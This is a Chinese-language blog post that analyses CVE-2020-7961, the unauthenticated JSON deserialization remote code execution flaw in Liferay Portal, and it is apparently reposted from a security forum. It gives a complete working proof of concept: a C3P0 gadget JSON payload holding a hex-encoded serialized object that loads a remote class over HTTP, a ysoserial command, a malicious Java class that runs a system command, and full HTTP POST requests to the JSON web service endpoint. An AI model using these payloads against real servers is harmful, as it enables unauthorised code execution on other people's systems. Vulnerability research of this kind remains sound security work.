浅谈Liferay Portal JSON Web Service未授权反序列化远程代码执行漏洞

2020-03-30 约 386 字 预计阅读 2 分钟

声明:本文 【浅谈Liferay Portal JSON Web Service未授权反序列化远程代码执行漏洞】 由作者 清水川崎 于 2020-03-30 09:57:33 首发 先知社区 曾经 浏览数 108 次

感谢 清水川崎 的辛苦付出!

漏洞描述

近日,Code White公开了在Liferay Portal中发现的JSON反序列化高危漏洞,未授权的攻击者可以通过精心构造的恶意数据对API接口发起远程代码执行的攻击.
Liferay是一个开源的Portal产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而且免费,在全球都有较多用户.

漏洞编号

CVE-2020-7961
LPS-88051/LPE-165981

漏洞威胁等级

高危

影响范围

Liferay Portal 6.1.X
Liferay Portal 6.2.X
Liferay Portal 7.0.X
Liferay Portal 7.1.X
Liferay Portal 7.2.X

简单分析

1.漏洞成因

Liferay Portal其实主要是两个版本存在问题,一个是6.X,另一个是7.X.
6.X使用的是Flexjson对json数据进行处理,而7.X则使用Jodd Json.因为api并不接收纯json数据,所以这里我只研究了6.X的Flexjson,但对于api来说payload为通用的并不需要划分版本.

2.Flexjson的RCE

我们先搭建Flexjson的环境,直接使用pom导入如下xml即可

<!-- https://mvnrepository.com/artifact/net.sf.flexjson/flexjson -->
        <dependency>
            <groupId>net.sf.flexjson</groupId>
            <artifactId>flexjson</artifactId>
            <version>3.1</version>
        </dependency>

查阅文档我们可知,Flexjson处理json的写法如下

JSONDeserializer jsonDeserializer = new JSONDeserializer();
        try {
            jsonDeserializer.deserialize(json);
        }catch (Exception e){
            e.printStackTrace();
        }

这里我们只需要传入一个json的字符串即可.如果我们要测试rce,则需要构造一个声明类的恶意json数据.例如声明javax.swing.JEditorPane.

这个类几天前可用作Jackson Databindfastjson的ssrf探测,当然都需要打开autotype开关才行.而在Flexjson中,这个类并不存在于黑名单中,可以直接使用.接下来的问题是如何RCE?我尝试构造了恶意的json,发现C3P0com.sun.rowset.JdbcRowSetImpl这两个gagdet是可以使用的.

这里给出一段C3P0的示例json.

String json2 = "{\"class\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:ACED000573720028636F6D2E6D6368616E67652E76322E633370302E506F6F6C4261636B656444617461536F75726365DE22CD6CC7FF7FA802000078720035636F6D2E6D6368616E67652E76322E633370302E696D706C2E4162737472616374506F6F6C4261636B656444617461536F75726365000000000000000103000078720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00044C000D6964656E74697479546F6B656E71007E00044C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E000A4C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00044C0014636C617373466163746F72794C6F636174696F6E71007E00044C0009636C6173734E616D6571007E00047870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A707070707070707070707874000C4578706F72744F626A656374740011687474703A2F2F3132372E302E302E312F7400076578706C6F697470707070770400000000787702000178;\"}";

这段payload主要为声明调用的class是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,且使用userOverridesAsString这个setter,对于传入的HexAsciiSerializedMap其实为序列化文件的hex编码.序列化文件我们可以使用ysoserial生成.
java -jar ysoserial.jar C3P0 "http://127.0.0.1/:ExportObject" > 1.ser

C3P0的gagdet使用需要在http协议下进行加载恶意的class,在http协议下使用:进行绑定.我给出如下恶意类的源码.

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class ExportObject {
    public ExportObject() throws Exception {
        Process p = Runtime.getRuntime().exec("open -a calculator");
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

既然序列化文件1.ser生成好了怎么转换为hex字节码了?我在CVE-2019-2725的时候就问过好兄弟afanti这个问题,从他那里我得到了答案.

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class Echo3 {
    public Echo3() {
    }

    public static void main(String[] args) throws IOException {
        InputStream in = new FileInputStream("/Users/xue/Documents/NetSafe/Tools/JavaTools/1.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, 4984);
        System.out.println(HexString);
    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        byte[] buffer = new byte[4096];
        boolean var3 = false;

        int n;
        while((n = in.read(buffer)) != -1) {
            out.write(buffer, 0, n);
        }

        return out.toByteArray();
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }

        return sb.toString();
    }

    public static String bytesToHexFun3(byte[] bytes) {
        StringBuilder buf = new StringBuilder(bytes.length * 2);
        byte[] arr$ = bytes;
        int len$ = bytes.length;

        for(int i$ = 0; i$ < len$; ++i$) {
            byte b = arr$[i$];
            buf.append(String.format("%02x", new Integer(b & 255)));
        }

        return buf.toString();
    }
}

我们在这个位置填入ser序列化文件的绝对路径即可转换为hex并打印输出到控制台


好了,既然Flexjson的RCE搞定了我们来说下怎么对Liferay Portal进行rce.

3.Liferay Portal JSON Web Service的RCE
3.1漏洞环境构建

首先我们先下载漏洞环境,这里我使用了官方集成tomcat的环境.
https://cdn.lfrs.sl/releases.liferay.com/portal/7.1.2-ga3/liferay-ce-portal-tomcat-7.1.2-ga3-20190107144105508.7z
下载好以后解压进入liferay-ce-portal-7.1.2-ga3/tomcat-9.0.10/bin目录,然后还是熟悉的./catalina.sh run即可启动环境.

3.2报文构造和gagdets

接着我们可以访问http://localhost:8080/api/jsonws/进入它的api.这里我们可以使用下面的报文格式进行声明类的调用.

POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: GGGGG
Content-Length: 2431
Content-Type: application/x-www-form-urlencoded

defaultData=1&name=1&com.liferay.expando.kernel.model.ExpandoColumn=1&com.liferay.portlet.expando.service.impl.ExpandoColumnServiceImpl=1&com.liferay.portal.kernel.exception.PortalException=1&updateColumn=1&p_auth=1&type=1&defaultData:class类名=json数据&columnId=1

例如我们使用C3P0.

POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: GGGGGGG
Content-Length: 2431
Content-Type: application/x-www-form-urlencoded

defaultData=1&name=1&com.liferay.expando.kernel.model.ExpandoColumn=1&com.liferay.portlet.expando.service.impl.ExpandoColumnServiceImpl=1&com.liferay.portal.kernel.exception.PortalException=1&updateColumn=1&p_auth=1&type=1&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:ACED000573720028636F6D2E6D6368616E67652E76322E633370302E506F6F6C4261636B656444617461536F75726365DE22CD6CC7FF7FA802000078720035636F6D2E6D6368616E67652E76322E633370302E696D706C2E4162737472616374506F6F6C4261636B656444617461536F75726365000000000000000103000078720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00044C000D6964656E74697479546F6B656E71007E00044C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E000A4C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00044C0014636C617373466163746F72794C6F636174696F6E71007E00044C0009636C6173734E616D6571007E00047870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A707070707070707070707874000C4578706F72744F626A656374740011687474703A2F2F3132372E302E302E312F7400076578706C6F697470707070770400000000787702000178;"}&columnId=1

com.sun.rowset.JdbcRowSetImpl的数据构造这里我就不给出了.
对于这个RCE漏洞应该还存在其他的gagdets.我目前在classpath中只发现了C3P0CommonsBeanutils2两条gagdets.

CommonsBeanutils对应的版本为1.9.2

CommonsBeanutils1需要依赖commons-collections:3.1,而classpath中的commons-collections为3.2.2,所以CommonsBeanutils1无缘使用.

CommonsBeanutils2只需要1.8.3 <= CommonsBeanutils <= 1.9.2且配合JNDI注入即可.

3.3回显构造

由于是tomcat的中间件,我们可以考虑使用前段时间长亭发出的tomcat全局request\response方法进行构造(当然对于Unix而言,00theway大哥的Unix通杀回显也可以做到).
我们这里可以使用C3P0回显和com.sun.rowset.JdbcRowSetImpljndi注入回显.如果使用C3P0进行回显,我们只需要将回显代码写入到恶意类的构造方法中.感谢chybeta和Ntears的C3P0回显提示.

如果使用jndi注入回显,可以将序列化文件转为base64,然后使用javaSerializedData解码即可.具体的jndi回显实现可以移步文末afanti的文章,同时也是一道某安全公司的Java完全的面试题.

最后我们来看下C3P0的回显效果

Reference

https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271
https://www.anquanke.com/post/id/200892

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now